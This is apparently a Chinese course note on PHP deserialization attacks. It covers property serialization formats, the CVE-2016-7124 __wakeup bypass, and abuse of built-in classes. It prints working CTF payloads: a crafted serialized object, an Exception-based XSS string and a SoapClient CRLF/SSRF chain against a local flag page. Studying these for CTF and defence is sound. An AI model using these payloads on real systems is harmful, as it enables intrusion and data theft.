【第61课】PHP反序列化&原生类TIPS&CVE绕过漏洞&属性类型特征

#知识点:
1、PHP-反序列化-属性类型&显示特征
2、PHP-反序列化-CVE绕过&字符串逃逸
3、PHP-反序列化-原生类生成&利用&配合

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

一、演示案例-PHP-属性类型-共有&私有&保护

1、对象变量属性:

public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用

2、序列化数据显示:

public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

3、本地演示DOME

解释

<?php header("Content-type: text/html; charset=utf-8"); //public private protected说明 class test{ public $name="xiaodi"; private $age="31"; protected $sex="man"; } $a=new test(); $a=serialize($a); print_r($a); ?>

在这里插入图片描述

二、演示案例-PHP-绕过漏洞-CVE&字符串逃逸

1、CVE-2016-7124(__wakeup绕过)

漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性(变量)个数的值大于真实属性个数时会跳过__wakeup执行

在这里插入图片描述

2、Demo

CVE.PHP(原始-__wakeup调用)
在这里插入图片描述
在这里插入图片描述
CVE.PHP(修改-绕过__wakeup调用)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、[极客大挑战 2019]PHP

在这里插入图片描述

1、下载源码分析,触发flag条件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、分析会触发调用__wakeup 强制username值

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、使用pop链构造payload(把private改为public)

在这里插入图片描述
在这里插入图片描述

4、 利用语言漏洞绕过 CVE-2016-7124,修改满足漏洞条件触发

在这里插入图片描述
Payload:

select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

在这里插入图片描述

3、演示案例-PHP-原生类Tips-获取&利用&配合

参考案例:浅析PHP原生类-安全客 - 安全资讯平台
-PHP有那些原生类-见脚本使用
-常见使用的原生类-见参考案例
-原生类该怎么使用-见官方说明

PHP原生类应用场景:

在代码中没有看到魔术方法的情况下使用的

0、生成原生类脚本代码

解释

<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }

可以使用本地IDE环境运行该脚本代码或者从网上用php在线平台运行都行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
注:如果对方环境没有开启相关模块功能,那么是没用的。

1、本地Demo-xss

解释

<?php highlight_file(__file__); $a = unserialize($_GET['k']); echo $a; ?>

解释

1.先看能触发的魔术方法-echo能够触发__toString方法 2.代码中没写魔术方法调用逻辑,那就需要用到原生类 3.使用魔术方法的原生类去利用 4.获取魔术方法的原生类(使用脚本去生成,生成多少与当前环境模块开关有关 默认的原生类生成脚本有太多原生类和方法了,这里只保留__toString方法,生成其有的原生类)

在这里插入图片描述
-无代码通过原生类Exception
-Exception使用查询编写利用
在这里插入图片描述
在这里插入图片描述
-通过访问触发输出产生XSS漏洞
pop链
pop.php

解释

<?php $a=new Exception("<script>alert('xiaodi')</script>"); echo urlencode(serialize($a)); ?>

在这里插入图片描述
在这里插入图片描述

2、CTFSHOW-259

在这里插入图片描述
在这里插入图片描述

在首页及flag.php都没看到有魔术方法
1.不存在的方法触发__call(因为getflag方法是不存在的,所以调用该魔术方法)
2.无代码通过原生类SoapClient(只生成_call方法的原生类)

在这里插入图片描述

3.SoapClient使用查询编写利用

在这里插入图片描述
构造pop链

解释

<?php $ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua)); echo urlencode(serialize($client)); ?>

在这里插入图片描述

4.通过访问本地Flag.php获取Flag

在这里插入图片描述
在这里插入图片描述

  • 7
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值